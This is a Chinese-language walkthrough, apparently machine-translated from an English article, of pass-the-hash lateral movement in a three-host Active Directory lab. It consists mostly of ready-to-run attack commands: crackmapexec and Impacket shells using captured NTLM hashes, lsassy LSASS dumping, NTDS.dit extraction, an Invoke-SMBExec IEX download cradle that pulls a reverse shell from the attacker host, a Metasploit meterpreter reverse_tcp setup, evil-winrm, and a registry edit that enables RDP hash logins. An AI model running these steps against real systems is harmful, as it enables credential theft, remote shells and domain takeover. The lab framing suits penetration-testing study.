AD 横向移动-哈希传递攻击

本文通过 Google 翻译 Lateral Movement -- Pass-the-Hash Attacks 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。

导航

  • [0 前言](#0 前言)
  • [1 实验环境介绍](#1 实验环境介绍)
  • [2 哈希传递攻击的妙用](#2 哈希传递攻击的妙用)
    • [2.1 访问测试](#2.1 访问测试)
    • [2.2 获取 Shell](#2.2 获取 Shell)
    • [2.3 转储 LSASS 进程](#2.3 转储 LSASS 进程)
    • [2.4 转储 NTDS.dit 文件](#2.4 转储 NTDS.dit 文件)
  • [3 哈希传递攻击 -- SMB (445)](#3 哈希传递攻击 – SMB (445))
  • [4 哈希传递攻击 -- WinRM (5985)](#4 哈希传递攻击 – WinRM (5985))
    • [4.1 crackmapexec](#4.1 crackmapexec)
    • [4.2 evil-winrm](#4.2 evil-winrm)
  • [5 哈希传递攻击 -- RDP (3389)](#5 哈希传递攻击 – RDP (3389))
    • [5.1 xfreerdp](#5.1 xfreerdp)

0、前言

在这篇文章中,我们将介绍多种可用于执行哈希传递攻击的工具和技术。

注:哈希传递攻击(Pass The Hash,简称 PTH)是一种基于 Windows 身份验证机制的攻击技术,它允许攻击者利用用户的密码哈希值进行身份认证,而无需知道明文密码。

首先,我们会在第一台受害机中转储本地 SAM 文件中的 administrator 哈希。接着,我们使用这个本地管理员的哈希在第二台受害机上测试时发现这两台机器的本地管理员账户居然使用了相同的密码(密码重用问题),这使得我们很轻松地就以本地管理员的身份转移到了第二台受害机上。然后,我们又转储了第二台受害机的 LSASS 进程,并成功找到了存储在第二台受害机上的域管理员哈希。最后,我们以域管理员的身份成功转移到了 DC(域控制器)。

1、实验环境介绍

在开始之前,我们先简单介绍一下本次实验的环境。在本示例的环境中,共有三台机器,它们均加入了域,其中一台机器是 DC(172.16.1.5),另外两台机器是 Windows 10 工作站(172.16.1.100 和 172.16.1.200)。

首先,我们假设自己已经在 172.16.1.100 这台机器上获得了立足点,并将权限提升到了本地 SYSTEM。然后,通过 Invoke-PowerDump 转储了受害机的哈希列表:

在转储的哈希列表中,我们最感兴趣的便是 administrator 的哈希。因为网络管理员在管理多个机器的时候,为了方便记忆通常会对相同的账户使用相同的密码,而相同的密码在不同机器上的 NTLM 哈希依然是一样的,因此我们最想获取此哈希以测试其它机器。

注:在获取到任何密码或 NTLM 哈希之后,我们首先应该使用这些已知的密码/哈希和已知的用户名在一台机器上进行组合测试,以确定是否存在一组有效的凭据。如果能够确定一组凭据有效,我们便可以在其它机器上优先测试这组凭据的有效性,以检查这组凭据可以访问哪些机器。

2、哈希传递攻击的妙用

在执行哈希传递攻击之前,我们首先需要检查受害机上开放的服务状况,然后再确定我们可以从哪些方面使用哪些工具去发起攻击。

在 Windows 主机上最常见的情况是,SMB 服务的 445 端口通常都是开放着的,而这也是此类攻击最有可能瞄准的端口。然而,有时还可能会发现另外两个常见端口也开放着,它们分别是 3389 的 RDP 服务和 5985 的 WinRM 服务。

而在这个例子中,我们将以端口 445 作为目标执行哈希传递攻击。

2.1、访问测试

为了测试前面得到的 administrator 用户的哈希值,我们将使用crackmapexec 工具对两台 Windows 10 主机进行测试。我们希望工具输出的结果中,两台主机均会出现 Pwn3d! 提示,这会表明用户 administrator 的密码确实被重复使用了,我们因此也就可以横向移动到第二台主机并获取 SYSTEM shell。

在使用 crackmapexec 时,我们可以传递完整的 NTLM 哈希,也可以只使用 NT 部分。之所以这样做,是因为通常只有 NT 部分才有值,而 LM 部分为空。

当账户被禁用且密码为空 时,它的 LM:NT 两部分都没有值,帐户将显示"空白"的 NTLM 哈希,即 aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

当账户被启用时,它的 LM 部分通常没有值,而 NT 部分是有值的,账户将显示"半空白"的 NTLM 哈希,即 aad3b435b51404eeaad3b435b51404ee:* 。

由于此次发起的哈希传递攻击是以本地帐户进行的,因此需要在 crackmapexec 命令中添加 --local-auth 选项:

bash 复制代码
crackmapexec smb 172.16.1.100 172.16.1.200 -u administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth

可以看到,两个主机均包含 Pwn3d! 提示,这意味着密码重用的情况确实存在,因此我们可以很轻松地转向 172.16.1.200 主机了!

2.2、获取 Shell

为了获取 172.16.1.200 主机的 shell,我们将使用 Impacket 工具套件中的三种工具,它们分别是:psexec.pywmiexec.pysmbexec.py

首先,使用 psexec.py,它通过创建并执行一个 exe 文件来获得的反向 shell。在攻击中它是最流行的工具,同时也是最容易被杀毒软件处理的工具,这也就是为什么还会介绍其它工具配合使用的原因。

bash 复制代码
psexec.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:3542d79d5d17bc9d3014d4d56b5e3060

注:这个工具提供的 shell 虽然看起来很像是 cmd,但它其实是一个特制的 shell,类似于 meterpreter shell,并内置了一些简单的命令。

接着,使用 wmiexec.py 工具,它通过 WmiPrvSE.exe 来生成 cmd.exe 实例,这更加隐蔽,因为在某些环境中这可能是合法的用例。

bash 复制代码
wmiexec.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:3542d79d5d17bc9d3014d4d56b5e3060

注:这个工具提供的 shell 和通过 psexec.py 获取的 shell 差不多,都类似于 meterpreter shell,并内置了一些简单的命令。

最后,使用 smbexec.py,它会根据攻击者发送的命令来创建一个服务并启动服务来执行代码。这比使用 psexec.py 更隐蔽,但缺点是 shell 功能有限。

bash 复制代码
smbexec.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:3542d79d5d17bc9d3014d4d56b5e3060

注:这个工具提供的 shell 非常的简陋且体验极差,完全比不上 psexec.pywmiexec.py 提供的 shell,尽管它们提供的 shell 也好不到哪去。
注:如果不满意以上这些工具提供的 shell, 我们可以利用其内置的传输文件命令或其它方式去上传一些自认为好用的反向 shell,以获得一个满意的 shell。

现在,我们已经通过哈希传递攻击从一台主机横向移动到了另一台主机,接下来就可以转储 LSASS 进程,以查看是否有用户在登录该机器时留下了哈希值。如果够幸运的话,我们可能会在任意一台主机的 LSASS 进程中找到域管理员的哈希。

2.3、转储 LSASS 进程

管理员用户使用域管理员帐户登录服务器甚至员工工作站的情况非常常见。当发生这种情况时,被登录的系统便会将此次登录账户的 NTLM 哈希存储在 LSASS 进程中,同时也会为该帐户创建一个令牌,而这些信息直到系统重新启动才会失效。

对于攻击者来说,LSASS 进程中的域管理员的哈希才是他最感兴趣的东西。而要转储 LSASS 进程,我们需要具有管理员或 SYSTEM 级别的权限,以及一个名为 lsassy 的强大工具,该工具最大的优点便是支持使用 哈希传递 远程转储 LSASS 进程。

在本例中,我们只是简单的使用了 lsassy 的功能;然而,它还有很多强大的功能可以用来绕过杀毒软件。此外,需要注意的是,lsassy 已集成到了 crackmapexec 工具中,如 nxc smb 192.168.56.50 -u '123' -p '123' -d skylark.com -M lsassynxc smb 192.168.56.50 -u '123' -p '123' -d skylark.com --lsa

接下来,我们将使用 lsassy 分别对两台主机转储它们的 LSASS 哈希,以查看是否能够找到任何有价值的哈希,以便进一步进行横向移动。

bash 复制代码
lsassy -u administrator -H :3542d79d5d17bc9d3014d4d56b5e3060 172.16.1.100

lsassy -u administrator -H :3542d79d5d17bc9d3014d4d56b5e3060 172.16.1.200

可以看到,在第一台机器(172.16.1.100)上,我们只找到了已攻陷的标准域用户的哈希值;而在第二台机器(172.16.1.200)上,我们竟然发现了域管理员帐户的哈希值!

2.4、转储 NTDS.dit 文件

在本例中,我们将使用 crackmapexec 以哈希传递的方式去远程转储 NTDS.dit 文件中的域用户哈希。

Ntds.dit 文件实际上是一个存储 Active Directory 数据的数据库,其中包括有关用户对象、组、组成员身份的信息。而最重要的是,该文件还存储域中所有用户的密码哈希值,类似于 SAM 文件一样。

bash 复制代码
crackmapexec smb 172.16.1.5 -d juggernaut.local -u administrator -H 5b38382017f8c0ac215895d5f9aacac4 --ntds

可以看到,我们成功转储了整个域中所有用户的哈希值。

3、哈希传递攻击 -- SMB (445)

3.1、psexec.py/wmiexec.py/smbexec.py

之前,我们在传递本地管理员哈希值时研究过 psexec.pywmiexec.pysmbexec.py,故此处不再赘述:

bash 复制代码
psexec.py juggernaut.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:5b38382017f8c0ac215895d5f9aacac4

wmiexec.py juggernaut.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:5b38382017f8c0ac215895d5f9aacac4

smbexec.py juggernaut.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:5b38382017f8c0ac215895d5f9aacac4

3.2、crackmapexec

另一个基于 SMB 执行哈希传递攻击的工具是 crackmapexec。我们之前只是使用它来检测本地管理员哈希是否有效,然而它也可以通过选项 -x (cmd.exe 命令)和 -X (PowerShell 命令)执行系统命令。

bash 复制代码
crackmapexec smb 172.16.1.200 -d juggernaut.local -u administrator -H 5b38382017f8c0ac215895d5f9aacac4 -x dir

crackmapexec smb 172.16.1.200 -d juggernaut.local -u administrator -H 5b38382017f8c0ac215895d5f9aacac4 -X Get-ChildItem

#若中文输出乱码,则可添加选项 --codec gbk 解决。

虽然该具本身并不支持提供 Shell,但却可以用它来轻松获取 Shell。例如,使用 -x 选项,您可以使用 certutil 将 nc.exe 下载到受害者机器上,然后再次编辑 -x 的参数并执行即可得到反向 Shell。同样,您可以使用 -X 选项执行包含反向 TCP 的 IEX 命令,然后得到 PowerShell 版本的反向 Shell。

3.3、Invoke-SMBExec.ps1

另一个基于 SMB 执行哈希传递攻击的工具是 Invoke-SMBExec.ps1,它是 Empire 框架中的一个模块。在本示例中,我们会在 172.16.1.200 受害机上借助 Invoke-SMBExec.ps1 来获得来自 DC 的反向 shell。

首先,将 Invoke-SMBExec.ps1 脚本下载到攻击机的工作目录并为其启动 HTTP 服务器。

bash 复制代码
python3 -m http.server 80

接着,下载 Invoke-PowerShellTcp.ps1 脚本到工作目录并在其底部添加以下命令:

将 IP 地址编辑为攻击者机器的 IP。

powershell 复制代码
Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.30 -Port 443

然后,我们需要将 Invoke-SMBExec.ps1 下载到受害者机器上,同时在 443 端口启动一个 nc 监听器。

最后,执行以下命令:

powershell 复制代码
. .\Invoke-SMBExec.ps1

Invoke-SMBExec -Target 172.16.1.5 -Domain juggernaut.local -Username Administrator -Hash 5b38382017f8c0ac215895d5f9aacac4 -Command "powershell.exe -c iex(new-object net.webclient).downloadstring('http://172.16.1.30/Invoke-PowerShellTcp443.ps1')" -verbose

当看到提示挂起,回到 nc 监听器,可以看到我们通过传递域管理员哈希最终获得了 DC 上的 SYSTEM shell。

3.4、Metasploit

另一个基于 SMB 执行哈希传递攻击的工具是 Metasploit 中的 psexec 模块。

首先,启动 Metasploit,并直接进入 psexec 模块:

bash 复制代码
msfconsole -q -x "use exploit/windows/smb/psexec"

接着,使用 show options 命令检查需要设置的选项。

在设置完必要的参数之后便可以执行哈希传递攻击了。

bash 复制代码
set RHOSTS 172.16.1.5
set SMBDomain juggernaut.local
set SMBPass aad3b435b51404eeaad3b435b51404ee:5b38382017f8c0ac215895d5f9aacac4
set SMBUser Administrator
set Payload windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.1.30
set LPORT 443
exploit

4、哈希传递攻击 -- WinRM (5985)

4.1、crackmapexec

与使用 crackmapexec 通过 SMB 传递哈希的方式一样,我们也可以使用它通过 WinRM 传递哈希,唯一的区别仅是将子命令由 smb 更换成 winrm 即可。

bash 复制代码
crackmapexec winrm 172.16.1.200 -d juggernaut.local -u administrator -H 5b38382017f8c0ac215895d5f9aacac4 -x dir

crackmapexec winrm 172.16.1.200 -d juggernaut.local -u administrator -H 5b38382017f8c0ac215895d5f9aacac4 -X Get-ChildItem

4.2、evil-winrm

可用于通过 WinRM 进行哈希传递攻击的终极工具是evil-winrm。这款工具在 WinRM 攻击方面堪称一绝,值得专门写一篇文章来介绍。不过,在本例中,我们仅介绍如何使用它来获取受害机的 Shell。

任何启用了 PS-Remoting 功能(即 WinRM 服务,默认端口 5985)的 Windows 均可通过 evil-winrm 去远程管理它们。但通常只有 Windows 服务器默认是开启此功能的,而 Windows 客户机则默认处于关闭状态。尽管如此,我们还是应该尽可能地检查所有设备,以避免漏掉任何可能。

以下便是使用 evil-winrm 进行传递哈希攻击的用法:

bash 复制代码
evil-winrm -u administrator -H 5b38382017f8c0ac215895d5f9aacac4 -i 172.16.1.5

5、哈希传递攻击 -- RDP (3389)

5.1、xfreerdp

要通过 RDP 执行哈希传递攻击,我们可以使用名为 xfreerdp 的工具,该工具默认已安装在 Kali 上。

假设我们刚刚从 172.16.1.100 转储了 SAM 哈希,然后尝试通过本地管理员的哈希值在 172.16.1.200 主机上建立 RDP 会话。使用以下命令(不指定域)将尝试以本地管理员帐户的身份进行连接:

bash 复制代码
sudo xfreerdp /u:administrator /pth:3542d79d5d17bc9d3014d4d56b5e3060 /v:172.16.1.200 +clipboard 

注:若在连接过程中出现了有关 RRCONNECT_TLS_CONNECT_FAILED 的消息导致连接失败,则可以通过选项 /tls-seclevel:0 降低 TLS 的安全级别以绕过此错误。

不幸的是,我们收到了以下信息:

注:当 DisableRestrictedAdmin = 1 时,即表示禁用受限管理模式(Restricted Admin Mode) ,此时 RDP 客户端只能够通过 用户名+密码 的方式去登录远程桌面;当 DisableRestrictedAdmin = 0 时,即表示启用受限管理模式 ,此时 RDP 客户端既可以通过 用户名+密码 也可以通过 哈希传递 的方式去登录远程桌面。

而要绕过此限制,我们需要编辑 DisableRestrictedAdmin 注册表项。为此,我们将使用 crackmapexec 来执行此操作:

bash 复制代码
crackmapexec smb 172.16.1.200 -u Administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'

现在,已将 DisableRestrictAdmin 设置为 0,即启用了受限管理模式。接下来,我们就能够使用 xfreerdp 成功执行哈希传递攻击了。

相关推荐
字节高级特工2 小时前
【Linux篇】0基础之学习操作系统进程
linux·运维·服务器·数据结构·windows·学习·list
Amo Xiang11 小时前
Python 解释器安装全攻略(适用于 Linux / Windows / macOS)
linux·windows·python·环境安装
小邓儿◑.◑17 小时前
C++初阶 | 模板
网络·c++·windows
豆芽脚脚17 小时前
spel 多层list嵌套表达式踩坑记
windows·list·spel
饮长安千年月21 小时前
玄机-第六章 流量特征分析-蚂蚁爱上树
windows·计算机网络·web安全·网络安全·系统安全·安全架构
mrbone111 天前
Linux-linux和windows创建新进程的区别以及posix_spawn
linux·运维·windows·多进程·fork
conkl1 天前
Kali Linux 安全工具解析
linux·网络·安全·kali
装大炮的自行车1 天前
【Unity】R3 CSharp 响应式编程 - 使用篇(集合)(三)
windows·unity·游戏引擎
crack_comet1 天前
Windows下运行Redis并设置为开机自启的服务
数据库·windows·redis
Python之栈1 天前
Python 隐藏法宝:双下划线 _ _Dunder_ _
数据库·windows·microsoft